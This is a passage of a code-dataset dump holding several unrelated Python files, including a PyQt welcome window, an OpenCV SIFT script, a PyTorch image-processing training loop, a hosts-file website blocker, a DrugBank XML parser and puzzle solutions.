isdir(edu_path):\n for file in [f for f in listdir(edu_path) if f[-9:] == '-edu.json']:\n self.education_programs.append(file)\n\n self.edu_selection.content_changed()\n\n # Check for Project-Problems\n if 'project' in self.ct.errors:\n pt = f'{self.ct.errors[\"project\"]}\\n' \\\n f'Select or add a project!'\n self.project_label.setText(pt)\n else:\n self.project_label.setText(f'{self.ct.pr.name} selected.')\n self.start_bt.setEnabled(True)\n\n # Check for Problems with Custom-Modules\n if 'custom_modules' in self.ct.errors:\n for name in self.ct.errors['custom_modules']:\n error_msg = self.ct.errors['custom_modules'][name]\n if isinstance(error_msg, tuple):\n ErrorDialog(error_msg, self,\n title=f'Error in import of custom-module: {name}')\n elif isinstance(error_msg, str):\n QMessageBox.warning(self, 'Import-Problem', error_msg)\n\n def set_home_path(self):\n loaded_home_path = QFileDialog.getExistingDirectory(self, f'{self.ct.home_path}'\n f'Select a folder as Home-Path')\n if loaded_home_path != '':\n self.ct = Controller(str(loaded_home_path))\n self.check_controller()\n\n def project_changed(self, project_idx):\n project = self.project_cmbx.itemText(project_idx)\n self.ct.change_project(project)\n self.update_project_cmbx()\n self.start_bt.setEnabled(True)\n\n def update_project_cmbx(self):\n if hasattr(self.ct, 'projects'):\n self.project_cmbx.clear()\n self.project_cmbx.addItems(self.ct.projects)\n if self.ct.pr is not None:\n self.project_label.setText(f'{self.ct.pr.name} selected.')\n self.project_cmbx.setCurrentText(self.ct.pr.name)\n\n def add_project(self):\n new_project, ok = QInputDialog.getText(self, 'Add Project',\n 'Please enter the name of a project!')\n if ok and new_project != '':\n self.ct.change_project(new_project)\n self.update_project_cmbx()\n self.start_bt.setEnabled(True)\n\n def init_main_window(self):\n if self.edu_groupbox.isChecked():\n self.ct.edu_program_name = self.edu_selection.get_current()\n self.ct.load_edu()\n\n # Check if MNE-Python is installed\n try:\n import mne\n except ModuleNotFoundError:\n QMessageBox.critical(self, 'MNE-Python not found!', 'MNE-Python was not found,'\n ' please install it before using MNE-Pipeline!')\n else:\n self.main_window = MainWindow(self.ct, self)\n if self.edu_groupbox.isChecked():\n self.main_window.start_edu()\n self.hide()\n\n def closeEvent(self, event):\n WorkerDialog(self, self.ct.save, blocking=True, title='Saving Project!')\n if self.edu_groupbox.isChecked():\n QS().setValue('education', 1)\n else:\n QS().setValue('education', 0)\n event.accept()\n","sub_path":"mne_pipeline_hd/gui/welcome_window.py","file_name":"welcome_window.py","file_ext":"py","file_size_in_byte":7961,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"615190039","text":"# -*- coding: utf-8 -*-\r\n\r\nimport numpy as np\r\nimport cv2\r\nfrom matplotlib import pyplot as plt\r\nimport os\r\n\r\ndir = \"C://Users//Administrator//netlearn//SIFT_BFmatcher//SRAD2018_TRAIN_001//RAD_206482464212530//\"\r\n\r\nsift = cv2.xfeatures2d.SIFT_create()\r\n\r\ndef draw_radar_sift(dir):\r\n\tfile_list = os.listdir(dir)\r\n\tprint(file_list)\r\n\tfor filename in file_list:\r\n\t\tpath = ''\r\n\t\tpath = dir+filename\r\n\t\tgray = cv2.imread(path,0) #读取灰度图\r\n\t\t#gray1 = cv2.cvtColor(img1, cv2.COLOR_BGR2GRAY) #灰度处理图像\r\n\t\tkp, des = sift.detectAndCompute(gray,None) #des是描述子\r\n\t\timg2 = cv2.drawKeypoints(gray,kp,gray,color=(255,0,255)) #画出特征点,并显示为红色圆圈\r\n\t\t#cv2.imshow(\"point\", img2)\r\n\t\tcv2.imwrite(path, img2)\r\n\t\tprint (\"%s has been draw sift!\"%filename)\r\n\t\tcv2.waitKey(0)\t\t\r\n \r\n\r\nif __name__ == '__main__':\r\n draw_radar_sift(dir)\r\n\r\n'''\r\nimport numpy as np\r\nimport cv2\r\nfrom matplotlib import pyplot as plt\r\n\r\nimgname1 = 'RAD_206482464212530_038.png'\r\nimgname2 = 'RAD_206482464212530_054.png'\r\n\r\nsift = cv2.xfeatures2d.SIFT_create()\r\n\r\nimg1 = cv2.imread(imgname1,0)\r\n#gray1 = cv2.cvtColor(img1, cv2.COLOR_BGR2GRAY) #灰度处理图像\r\nkp1, des1 = sift.detectAndCompute(img1,None) #des是描述子\r\n\r\nimg2 = cv2.imread(imgname2,0)\r\n#gray2 = cv2.cvtColor(img2, cv2.COLOR_BGR2GRAY)#灰度处理图像\r\nkp2, des2 = sift.detectAndCompute(img2,None) #des是描述子\r\n\r\nhmerge = np.hstack((img1, img2)) #水平拼接\r\ncv2.imshow(\"gray\", hmerge) #拼接显示为gray\r\n#cv2.imwrite(\"gray\", hmerge)\r\ncv2.waitKey(0)\r\n\r\nimg3 = cv2.drawKeypoints(img1,kp1,img1,color=(255,0,255)) #画出特征点,并显示为红色圆圈\r\nimg4 = cv2.drawKeypoints(img2,kp2,img2,color=(255,0,255)) #画出特征点,并显示为红色圆圈\r\nhmerge = np.hstack((img3, img4)) #水平拼接\r\ncv2.imshow(\"point\", hmerge) #拼接显示为gray\r\n#cv2.imwrite(\"point\", hmerge)\r\ncv2.waitKey(0)\r\n# BFMatcher解决匹配\r\nbf = cv2.BFMatcher()\r\nmatches = bf.knnMatch(des1,des2, k=2)\r\n# 调整ratio\r\ngood = []\r\nfor m,n in matches:\r\n if m.distance < 0.75*n.distance:\r\n good.append([m])\r\n\r\n#img5 = cv2.drawMatchesKnn(img1,kp1,img2,kp2,matches,None,flags=2)\r\nimg5 = cv2.drawMatchesKnn(img1,kp1,img2,kp2,good[:10],None,flags=2)\r\ncv2.imshow(\"BFmatch\", img5)\r\n#cv2.imwrite(\"BFmatch\", img5)\r\ncv2.waitKey(0)\r\ncv2.destroyAllWindows()\r\n'''\r\n","sub_path":"019 Opencv绘制sift关键点批量读取保存图像/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2344,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"160763753","text":"from .base_page import BasePage\nfrom .locators import BasketPageLocators\n\n\nclass BasketPage(BasePage):\n def should_not_be_items_in_basket(self):\n assert self.is_not_element_present(*BasketPageLocators.ITEMS_IN_BASKET), \\\n \"Items are presented, but should not be\"\n\n def should_be_empty_basket_message(self):\n a = self.browser.find_element(*BasketPageLocators.EMPTY_BASKET_MESSAGE).text\n assert a is \"Ваша корзина пуста\" or \"Your basket is empty.\", \\\n \"Wrong message; basket is not empty\"\n","sub_path":"Pages/basket_page.py","file_name":"basket_page.py","file_ext":"py","file_size_in_byte":552,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"240093370","text":"import argparse\nimport json\nimport os\nimport torch\nimport torch.nn as nn\nimport numpy as np\nfrom PIL import Image\nfrom torch.utils.data import DataLoader\nimport torch.distributions as tdist\nfrom torch.optim.lr_scheduler import MultiStepLR\nfrom unet_model_ori import UNet\nfrom unet_attention_decouple import AttenUnet_style\nfrom data_utils import autoTrainSetRaw2jpgProcessed \nfrom exposure_module import ExposureNet\nfrom isp import isp\n\nos.environ[\"CUDA_VISIBLE_DEVICES\"]=\"7\"\n\ndef load_checkpoint(checkpoint_path, model, optimizer):\n assert os.path.isfile(checkpoint_path)\n checkpoint_dict = torch.load(checkpoint_path, map_location='cpu')\n iteration = checkpoint_dict['iteration']\n optimizer.load_state_dict(checkpoint_dict['optimizer'])\n model_for_loading = checkpoint_dict['model']\n model.load_state_dict(model_for_loading.state_dict())\n print(\"Loaded checkpoint '{}' (iteration {})\" .format(\n checkpoint_path, iteration))\n return model, optimizer, iteration\n\ndef save_checkpoint(model, net_type, optimizer, learning_rate, iteration, filepath, parallel):\n print(\"Saving model and optimizer state at iteration {} to {}\".format(\n iteration, filepath))\n if net_type == \"exposure\":\n model_for_saving = ExposureNet().cuda()\n if net_type == \"u_net\":\n model_for_saving = UNet(**network_config).cuda()\n if net_type == \"unet_att_style\":\n model_for_saving = AttenUnet_style(**network_config2).cuda()\n if parallel:\n model_for_saving = nn.DataParallel(model_for_saving)\n model_for_saving.load_state_dict(model.state_dict())\n torch.save({'model': model_for_saving,\n 'iteration': iteration,\n 'optimizer': optimizer.state_dict(),\n 'learning_rate': learning_rate}, filepath)\n\n\ndef save_training_images_raw(img_list, image_path, img_name, alpha):\n print(\"Saving output images\")\n b,c,h,w = img_list[0].shape\n batch_list = []\n for img in img_list:\n clip(img)\n tmp_batch = isp(img[0,:,:,:], img_name[0], data_config[\"file_list\"], alpha[0])\n for i in range(b-1): \n tmp_batch = np.concatenate((tmp_batch, isp(img[i+1,:,:,:], img_name[i+1], data_config[\"file_list\"], alpha[i+1])), axis=1)\n batch_list.append(tmp_batch)\n new_img_array = np.concatenate(batch_list, axis=2) * 255\n new_img = Image.fromarray(np.transpose(new_img_array, [1,2,0]).astype('uint8'), 'RGB')\n new_img.save(image_path, quality=95)\n\ndef clip(img):\n img[img>1] = 1\n img[img<0] = 0\n\ndef get_variance_map(input_raw, shot_noise, read_noise, mul=None):\n if not type(mul) == type(None):\n shot_noise = shot_noise * mul\n read_noise = read_noise * mul * mul\n b, c, h, w = input_raw.size()\n read_noise = torch.unsqueeze(read_noise, 2) \n read_noise = torch.unsqueeze(read_noise, 3) \n read_noise = read_noise.repeat(1,1,h,w)\n shot_noise = torch.unsqueeze(shot_noise, 2) \n shot_noise = torch.unsqueeze(shot_noise, 3) \n shot_noise = shot_noise.repeat(1,1,h,w)\n \n variance = torch.add(input_raw * shot_noise, read_noise)\n n = tdist.Normal(loc=torch.zeros_like(variance), scale=torch.sqrt(variance))\n noise = n.sample()\n var_map = input_raw + noise\n return var_map\n\ndef train(output_directory, epochs, learning_rate1, learning_rate2, learning_rate3, aperture,\n iters_per_checkpoint, batch_size, epoch_size, loss_type1, loss_type2, loss_type3,\n net_type, net_type_ap, seed, checkpoint_path1, checkpoint_path2, checkpoint_path3, residual_learning1,\n residual_learning2, parallel, variance_map, isp_save, multi_stage=None, multi_stage2=None):\n # set manual seed\n torch.manual_seed(seed)\n torch.cuda.manual_seed(seed)\n\n # build exposure module\n model_exposure = ExposureNet().cuda()\n\n # build noise model\n if net_type == \"u_net\":\n model_noise = UNet(**network_config).cuda()\n else:\n print(\"unsupported network type\")\n return 0\n # build aperture model\n if aperture:\n if net_type_ap == \"unet_att_style\":\n model_aperture = AttenUnet_style(**network_config2).cuda()\n else:\n print(\"unsupported network type\")\n return 0\n\n\n if parallel:\n model_exposure = nn.DataParallel(model_exposure)\n model_noise = nn.DataParallel(model_noise)\n if aperture:\n model_aperture = nn.DataParallel(model_aperture)\n optimizer_1 = torch.optim.Adam(model_exposure.parameters(), lr=learning_rate1)\n optimizer_2 = torch.optim.Adam(model_noise.parameters(), lr=learning_rate2)\n scheduler_2 = MultiStepLR(optimizer_2, milestones=[20, 40], gamma=0.1)\n if aperture:\n optimizer_3 = torch.optim.Adam(model_aperture.parameters(), lr=learning_rate3)\n scheduler_3 = MultiStepLR(optimizer_3, milestones=[20, 40], gamma=0.1)\n\n # Load checkpoint if one exists\n iteration = 0\n\n if checkpoint_path1 != \"\":\n model_exposure, optimizer_1, iteration = load_checkpoint(checkpoint_path1, model_exposure, optimizer_1)\n if checkpoint_path2 != \"\":\n model_noise, optimizer_2, iteration = load_checkpoint(checkpoint_path2, model_noise,\n optimizer_2)\n if checkpoint_path3 !=\"\":\n model_aperture, optimizer_3, iteration = load_checkpoint(checkpoint_path3, model_aperture,\n optimizer_3)\n iteration += 1\n\n # build dataset\n trainset = autoTrainSetRaw2jpgProcessed(**data_config)\n epoch_size = min(len(trainset), epoch_size)\n train_sampler = torch.utils.data.RandomSampler(trainset, True, epoch_size) \n train_loader = DataLoader(trainset, num_workers=5, shuffle=False,\n sampler=train_sampler,\n batch_size=batch_size,\n pin_memory=False,\n drop_last=True)\n\n # Get shared output_directory ready\n if not os.path.isdir(output_directory):\n os.makedirs(output_directory)\n os.chmod(output_directory, 0o775)\n \n print(\"output directory\", output_directory)\n\n model_noise.train()\n model_exposure.train()\n if aperture:\n model_aperture.train()\n epoch_offset = max(0, int(iteration / len(train_loader)))\n\n # ================ MAIN TRAINNIG LOOP! ===================\n for epoch in range(epoch_offset, epochs):\n print(\"Epoch: {}\".format(epoch))\n for i, batch in enumerate(train_loader):\n model_exposure.zero_grad()\n model_noise.zero_grad()\n if aperture:\n model_aperture.zero_grad()\n\n exp_params, ap_params, noise_params, input_raw, input_jpg, output_raw, mask, \\\n input_shot_noise, input_read_noise, output_shot_noise, output_read_noise, \\\n img_name = batch\n if aperture:\n ap_params = torch.autograd.Variable(ap_params.cuda())\n exp_params = torch.autograd.Variable(exp_params.cuda())\n noise_params = torch.autograd.Variable(noise_params.cuda())\n input_shot_noise = torch.autograd.Variable(input_shot_noise.cuda())\n input_read_noise = torch.autograd.Variable(input_read_noise.cuda())\n output_shot_noise = torch.autograd.Variable(output_shot_noise.cuda())\n output_read_noise = torch.autograd.Variable(output_read_noise.cuda())\n mask = mask.cuda()\n\n \n input_raw = torch.autograd.Variable(input_raw.cuda())\n output_raw = torch.autograd.Variable(output_raw.cuda())\n\n # simple exposure correction\n output_exp, exp_params_m = model_exposure([exp_params, input_raw])\n # noise correction\n # Estimate variance map\n if variance_map:\n # input variance map\n variance_input = get_variance_map(output_exp, input_shot_noise, input_read_noise, exp_params_m)\n # output variance map (As long as the output iso is known, it can be estimated)\n input_cat = torch.cat([output_exp, variance_input], 1)\n if net_type == \"u_net\":\n output_ns = model_noise(input_cat)\n else:\n if net_type == \"u_net\":\n output_ns = model_noise(output_exp)\n \n\n #aperture module \n if aperture:\n output_ap = model_aperture([ap_params, output_ns+output_exp])\n\n # define exposure loss\n if loss_type1 == \"l1\":\n loss_f1 = torch.nn.L1Loss()\n elif loss_type1 == \"l2\":\n loss_f1 = torch.nn.MSELoss()\n\n loss1 = loss_f1(output_exp*mask, output_raw*mask)\n\n # define noise loss\n if loss_type2 == \"l1\":\n loss_f2 = torch.nn.L1Loss()\n elif loss_type2 == \"l2\":\n loss_f2 = torch.nn.MSELoss()\n\n if residual_learning1:\n loss2 = loss_f2(output_ns*mask, (output_raw-output_exp)*mask)\n else:\n loss2 = loss_f2(output_ns*mask, output_raw*mask)\n\n \n if aperture:\n if loss_type3 == \"l1\":\n loss_f3 = torch.nn.L1Loss()\n elif loss_type3 == \"l2\":\n loss_f3 = torch.nn.MSELoss()\n if residual_learning2:\n loss3 = loss_f3((output_exp+output_ns+output_ap)*mask, output_raw*mask)\n else:\n loss3 = loss_f3(output_ap*mask, output_raw*mask)\n\n if not multi_stage:\n loss1.backward(retain_graph=True)\n optimizer_1.step()\n loss2.backward(retain_graph=True)\n optimizer_2.step()\n if aperture:\n loss3.backward(retain_graph=True)\n optimizer_3.step()\n\n else:\n if not aperture:\n if epoch < multi_stage:\n loss1.backward(retain_graph=True)\n optimizer_1.step()\n else:\n loss2.backward(retain_graph=True)\n optimizer_2.step()\n else:\n if epoch < multi_stage:\n loss1.backward(retain_graph=True)\n optimizer_1.step()\n elif epoch >= multi_stage and epoch < multi_stage2:\n loss2.backward(retain_graph=True)\n optimizer_2.step()\n else:\n loss3.backward(retain_graph=True)\n optimizer_3.step()\n\n\n if aperture:\n print(\"epochs{} iters{}:\\t{:.9f}\\t{:.9f}\\t{:.9f}\".format(epoch, iteration, loss1, loss2, loss3))\n else:\n print(\"epochs{} iters{}:\\t{:.9f}\\t{:.9f}\".format(epoch, iteration, loss1, loss2))\n\n if (iteration % iters_per_checkpoint == 0):\n checkpoint_path1 = \"{}/exp_{}\".format(\n output_directory, iteration)\n checkpoint_path2 = \"{}/unet_{}\".format(\n output_directory, iteration)\n checkpoint_path3 = \"{}/unet_att_{}\".format(\n output_directory, iteration)\n image_path = \"{}/img_{}.jpg\".format(\n output_directory, iteration)\n # save checkpoints\n save_checkpoint(model_exposure, \"exposure\", optimizer_1, learning_rate1, iteration,\n checkpoint_path1, parallel)\n save_checkpoint(model_noise, net_type, optimizer_2, learning_rate2, iteration,\n checkpoint_path2, parallel)\n save_checkpoint(model_aperture, net_type_ap, optimizer_3, learning_rate3, iteration,\n checkpoint_path3, parallel)\n # save testing images\n if residual_learning1:\n if isp_save:\n if aperture:\n if residual_learning2:\n save_training_images_raw([input_raw.cpu().data.numpy(),\n output_exp.cpu().data.numpy(),\n (output_ns+output_exp).cpu().data.numpy(),\n (output_ap+output_ns+output_exp).cpu().data.numpy(),\n output_raw.cpu().data.numpy()], image_path, img_name, exp_params_m.cpu().data.numpy())\n else:\n save_training_images_raw([input_raw.cpu().data.numpy(),\n output_exp.cpu().data.numpy(),\n (output_ns+output_exp).cpu().data.numpy(),\n output_ap.cpu().data.numpy(),\n output_raw.cpu().data.numpy()], image_path, img_name, exp_params_m.cpu().data.numpy())\n else:\n save_training_images_raw([input_raw.cpu().data.numpy(),\n output_exp.cpu().data.numpy(),\n (output_ns+output_exp).cpu().data.numpy(), \n output_raw.cpu().data.numpy()], image_path, img_name, exp_params_m.cpu().data.numpy())\n \n iteration += 1\n if epoch > multi_stage2:\n scheduler_3.step()\n elif epoch > multi_stage:\n scheduler_2.step()\n \n \n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument('-c', '--config', type=str,\n help='JSON file for configuration')\n args = parser.parse_args()\n global config_path \n config_path = args.config\n\n with open(config_path) as f:\n data = f.read()\n config = json.loads(data)\n train_config = config[\"train_config\"]\n global data_config\n data_config = config[\"data_config\"]\n global network_config\n network_config = config[\"network_config\"]\n global network_config2\n network_config2 = config[\"network_config2\"]\n\n torch.backends.cudnn.enabled = True\n torch.backends.cudnn.benchmark = False\n train(**train_config)\n","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":14507,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"466039178","text":"MAXNBITS = 10\nsumluck = 0\nsols = []\nMOD = 10e8 + 7\nfor nbits1 in xrange(1, MAXNBITS):\n base = 1 << nbits1\n add = 1\n for pos in xrange(nbits1):\n num = base + add\n \n add <<= 1 \n sumluck = (sumluck + num) % MOD\n sols.append((num, sumluck))\n \ndef solve(n):\n res = 0\n for k, v in sols:\n if k > n:\n return res\n res = v\n return -1\n \nfor i in xrange(input()) :\n print(solve(input()))\n \n \n","sub_path":"HackerEarth/maxnbits.py","file_name":"maxnbits.py","file_ext":"py","file_size_in_byte":496,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"63983589","text":"import time\nimport calendar\nfrom datetime import datetime as dt\n\n# store hosts path in variable\nhosts_temp = \"/Users/chipcarnes/Projects/python-mega-course/website-blocker/hosts\"\nhosts_path = \"/etc/hosts\"\n\n# redirection\nredirect_path = \"127.0.0.1\"\n\nblocked_websites = [\n \"www.facebook.com\",\n \"facebook.com\",\n \"www.twitter.com\",\n \"twitter.com\",\n \"gmail.com\",\n \"www.gmail.com\",\n ]\n\n\nstart_time = dt(dt.now().year, dt.now().month, dt.now().day, 8)\nend_time = dt(dt.now().year, dt.now().month, dt.now().day, 16)\nday_name = calendar.day_name[dt.now().weekday()]\n\nwhile True:\n if start_time < dt.now() < end_time and day_name != \"Saturday\":\n print(\"Working hours...\")\n # access etc/hosts file\n with open(hosts_temp, 'r+') as file:\n content = file.read()\n for site in blocked_websites:\n #skip the line/file if the websites are already listed in the file.\n if site in content:\n pass\n else:\n # write to file if between 9am-5pm\n file.write(redirect_path + \" \" + site + \"\\n\")\n # check time every few seconds\n time.sleep(5)\n else:\n # This section erases the added blocked websites from the file.\n with open(hosts_temp, 'r+') as file:\n # store file lines into an array\n content = file.readlines()\n # return pointer to beginning of file\n file.seek(0)\n for line in content:\n # search each line for the text of the website\n if not any(website in line for website in blocked_websites):\n # if it doesn't find a website in the line, append the line from the array of lines\n # this appends a copy of the file, excluding all the websites, to the top of the file\n # pushing the lines containing the websites, furthern down in lines.\n file.write(line)\n # pointer is at end of the copied lines, but before the sections containing the websites\n # and truncate/delete everything after the pointer.\n file.truncate()\n print(\"Not business time!\")\n time.sleep(5)\n","sub_path":"blocker.py","file_name":"blocker.py","file_ext":"py","file_size_in_byte":2353,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"492671834","text":"\"\"\"REST API index.\"\"\"\nimport flask\nimport cv_whiteboarding\nfrom flask import Flask, request, render_template\n\nclass InvalidUsage(Exception):\n \"\"\"Invalid Usage Class.\"\"\"\n status_code = 400\n\n def __init__(self, message, status_code=None, payload=None):\n \"\"\"Init invalid usage.\"\"\"\n Exception.__init__(self)\n self.message = message\n if status_code is not None:\n self.status_code = status_code\n self.payload = payload\n\n def to_dict(self):\n \"\"\"Convert message to dict.\"\"\"\n r_v = dict(self.payload or ())\n r_v['message'] = self.message\n return r_v\n\n\n@cv_whiteboarding.app.errorhandler(InvalidUsage)\ndef handle_invalid_usage(error):\n \"\"\"Handle invalid usage.\"\"\"\n response = flask.jsonify(error.to_dict())\n response.status_code = error.status_code\n return response\n\n@cv_whiteboarding.app.route('/testapi/', methods=[\"GET\"])\ndef testapi():\n \"\"\"A handler for testing.\"\"\"\n # check_login()\n context = {\n \"test\": \"convo_starter_backend is running!\",\n }\n return flask.jsonify(**context)\n\n@cv_whiteboarding.app.route('/', methods=[\"GET\"])\ndef home():\n context = {}\n return render_template(\"index.html\")\n","sub_path":"cv_whiteboarding/backend/index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":1213,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"396415294","text":"import xml.etree.ElementTree as ET\nimport sqlite3\n\n# \"get\" will only get attribute name's text\n# \"find\" will find the text inside the tag that \"find\" is look for\n\n\nxmlFile = \"full database.xml\"\nstoreFile = \"store_file.txt\"\ntree = ET.parse(xmlFile)\nroot = tree.getroot()\nns = '{http://www.drugbank.ca}'\n\ndatabaseFile = \"test_drugbank.db\"\nconn = sqlite3.connect(databaseFile)\ncursor = conn.cursor()\n\ncursor.execute(\"drop table if exists drugbank_drug;\")\ncursor.execute(\"drop table if exists drugbank_transport;\")\ncursor.execute(\"drop table if exists drugbank_carrier\")\ncursor.execute(\"drop view if exists combine_;\")\ncursor.execute(\"drop view if exists transporter_carrier;\")\ncursor.execute(\"create table drugbank_drug (drug_id char(20), drug_type char(20), drug_name char(20),\\\n drug_state char(20), drug_group char(20), drug_smiles text, drug_InChIKey text, drug_IUPAC_Name text, \\\n ChEMBL_ID text,primary key (drug_id));\")\ncursor.execute(\"create table drugbank_transport (drug_id char(20), drug_transport_id char(20), drug_transport_name char(20),\\\n actions char(20), foreign key (drug_id) references drugbank_drug(drug_id));\")\ncursor.execute(\"create table drugbank_carrier (drug_id char(20), drug_carrier_id char(20), drug_carrier_name \\\n char(20), target_type char(20), foreign key (drug_id) references drugbank_drug(drug_id));\")\ncursor.execute(\"create table drugbank_enzyme (drug_id char(20), drug_enzyme_id char(20), drug_enzyme_name \\\n char(20), target_type char(20), foreign key (drug_id) references drugbank_drug(drug_id));\")\n\n\n\n\n# for child in root:\n# print(child.tag, child.attrib)\n# output: {http://www.drugbank.ca}drug {'type': 'small molecule', 'updated': '2017-12-20', 'created': '2017-12-18'}\n# for child in root.findall(ns+\"drug\"):\n# drug_type = child.get(\"type\")\n# drug_ID = child.find(ns+\"drugbank-id\").text\n# print(drug_type,drug_ID)\n# output: small molecule DB09229 (success)\n\nfor child in root.findall(ns+\"drug\"):\n \n drug_type = child.get(\"type\")\n drug_ID = child.find(ns+\"drugbank-id\").text\n drug_name = child.find(ns+\"name\").text\n \n drug_state = None\n if child.find(ns+\"state\") is not None:\n drug_state = child.find(ns+\"state\").text\n \n #get drug group\n drug_group2 = None\n if child.findall(ns+\"groups\") is not None:\n drug_group = child.findall(ns+\"groups\")\n for i in drug_group:\n if i.find(ns+\"group\").text == \"approved\":\n drug_group2 = i.find(ns+\"group\").text\n else:\n drug_group2 = \"unapproved\"\n else:\n drug_group2 = None\n\n #get the properties of smiles and InChIkey\n drug_smiles = None\n drug_InChIKey = None\n drug_IUPAC_Name = None \n ChEMBL_id = None\n if child.findall(ns+\"calculated-properties\") is not None:\n \n drug_calculated_properties = child.findall(ns+\"calculated-properties\")\n for properties in drug_calculated_properties:\n drug_properties = properties.findall(ns+\"property\")\n for single_property in drug_properties:\n if single_property.find(ns+\"kind\") is not None and single_property.find(ns+\"kind\").text == \"SMILES\":\n drug_smiles = single_property.find(ns+\"value\").text\n #print(drug_smiles)\n if single_property.find(ns+\"kind\") is not None and single_property.find(ns+\"kind\").text == \"InChIKey\":\n drug_InChIKey = single_property.find(ns+\"value\").text\n\n if single_property.find(ns+\"kind\") is not None and single_property.find(ns+\"kind\").text == \"IUPAC Name\":\n drug_IUPAC_Name = single_property.find(ns+\"value\").text\n drug_external_id = child.findall(ns+\"external-identifiers\")\n for external_id in drug_external_id:\n external_identifiers = external_id.findall(ns+\"external-identifier\")\n for target_identifiers in external_identifiers:\n if target_identifiers.find(ns+\"resource\") is not None and target_identifiers.find(ns+\"resource\").text == \"ChEMBL\":\n ChEMBL_id = target_identifiers.find(ns+\"identifier\").text\n\n else:\n drug_smiles = None\n drug_InChIKey = None\n drug_IUPAC_Name = None \n ChEMBL_id = None\n #print(drug_ID, drug_type, drug_name, drug_state,drug_group2,drug_smiles, drug_InChIKey)\n temp_tuple = (drug_ID,drug_type,drug_name,drug_state,drug_group2,drug_smiles,drug_InChIKey,drug_IUPAC_Name,ChEMBL_id)\n cursor.execute(\"insert into drugbank_drug values (?,?,?,?,?,?,?,?,?)\",temp_tuple)\n # print(temp_tuple)\n\n\n trasnport_id = None\n transport_name = None\n\n for transport in child.findall(ns+\"transporters\"):\n #transportNum = transport.get(\"position\").text\n \n for i in transport.findall(ns+\"transporter\"):\n transport_id = i.find(ns+\"id\").text\n transport_name = i.find(ns+\"name\").text\n #print(drug_ID,transport_id,transport_name)\n transport_actions = \"\"\n for j in i.findall(ns+\"actions\"):\n for k in j.findall(ns+\"action\"):\n transport_actions += \"|\"+str(k.text)\n transport_actions += \"|\"\n\n temp_tuple = (drug_ID, transport_id,transport_name, transport_actions)\n # print(temp_tuple)\n\n cursor.execute(\"insert into drugbank_transport values (?,?,?,?)\",temp_tuple)\n \n # create enzyme table \n\n for enzymes in child.findall(ns+\"enzymes\"):\n #transportNum = transport.get(\"position\").text\n \n for i in enzymes.findall(ns+\"enzyme\"):\n enzymes_id = i.find(ns+\"id\").text\n enzymes_name = i.find(ns+\"name\").text\n #print(drug_ID,transport_id,transport_name)\n enzymes_actions = \"\"\n for j in i.findall(ns+\"actions\"):\n for k in j.findall(ns+\"action\"):\n enzymes_actions += \"|\"+str(k.text)\n enzymes_actions += \"|\"\n\n temp_tuple = (drug_ID,enzymes_id,enzymes_name,enzymes_actions)\n # print(temp_tuple)\n\n cursor.execute(\"insert into drugbank_enzyme values (?,?,?,?)\",temp_tuple)\n\n # UniprotKB_ID = None\n # for external_identifiers in child.findall(ns+\"external-identifiers\"):\n # # print(external_identifiers.tag)\n # for i in external_identifiers.findall(ns+\"external-identifier\"):\n \n # if i.find(ns+\"resource\") is not None and i.find(ns+\"resource\").text == \"UniProtKB\":\n # UniprotKB_ID = i.find(ns+\"identifier\").text\n\n # print(drug_ID,transport_id,UniprotKB_ID, transport_name )\n\n # cursor.execute(\"insert into drugbank_transport values (?,?,?,?)\",temp_tuple)\n # for carriers in child.findall(ns+\"carriers\"):\n # for i in carriers.findall(ns+\"carrier\"):\n # carrier_id = i.find(ns+\"id\").text\n # carrier_name = i.find(ns+\"name\").text\n \n # temp_tuple = (drug_ID, carrier_id, carrier_name, \"carrier\")\n\n # cursor.execute(\"insert into drugbank_carrier values (?,?,?,?)\", temp_tuple)\n\n# # get combined dataset\n# cursor.execute(\"create view combine_ as select drug.drug_id, drug.drug_type,drug.drug_name,drug.drug_state,drug.drug_group,\\\n# transport.drug_transport_id,transport.drug_transport_name from drugbank_drug drug \\\n# left outer join drugbank_transport transport on drug.drug_id = transport.drug_id;\")\n# # cursor.execute(\"create view transporter_carrier as select drug_id as drug_id, drug_carrier_id as drug_target_id, \\\n# # drug_carrier_name as drug_target_name, target_type as target_type \\\n# # from drugbank_carrier union select * from drugbank_transport;\")\nconn.commit()\nconn.close()\n","sub_path":"Create_dataset_from_DB/drugbank_parse/drugbank_full_database_parse.py","file_name":"drugbank_full_database_parse.py","file_ext":"py","file_size_in_byte":7823,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"620276472","text":"from typing import List\n# Definition for a binary tree node.\nclass TreeNode:\n def __init__(self, val=0, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\nclass Solution:\n def isSymmetric(self, root: TreeNode) -> bool:\n if not root:\n return True\n if not root.left and not root.right:\n return True\n \n def isMirror(t1: TreeNode, t2: TreeNode) -> bool:\n if not t1 and not t2:\n return True\n if not t1 or not t2:\n return False\n return (t1.val == t2.val) and isMirror(t1.right, t2.left) and isMirror(t1.left, t2.right)\n \n return isMirror(root, root)\n \ndef convert2TreeNode(nums: List[int]) -> TreeNode:\n nodes = []\n for num in nums:\n if str(num) == 'null' or num == None:\n nodes.append(None)\n else:\n node = TreeNode(num)\n nodes.append(node)\n if not nodes or len(nodes) == 0:\n return None\n curr = 0\n level = 0\n next_child = 2 ** level\n while next_child < len(nodes):\n for i in range(curr, curr + 2 ** level):\n if nodes[i]:\n nodes[i].left = nodes[next_child] if next_child < len(nodes) else None\n nodes[i].right = nodes[next_child + 1] if next_child + 1 < len(nodes) else None\n next_child += 2\n curr = i + 1\n level += 1\n return nodes[0]\n\nif __name__== '__main__':\n solution = Solution()\n\n nums = [1,2,2,3,4,4,3]\n ans = 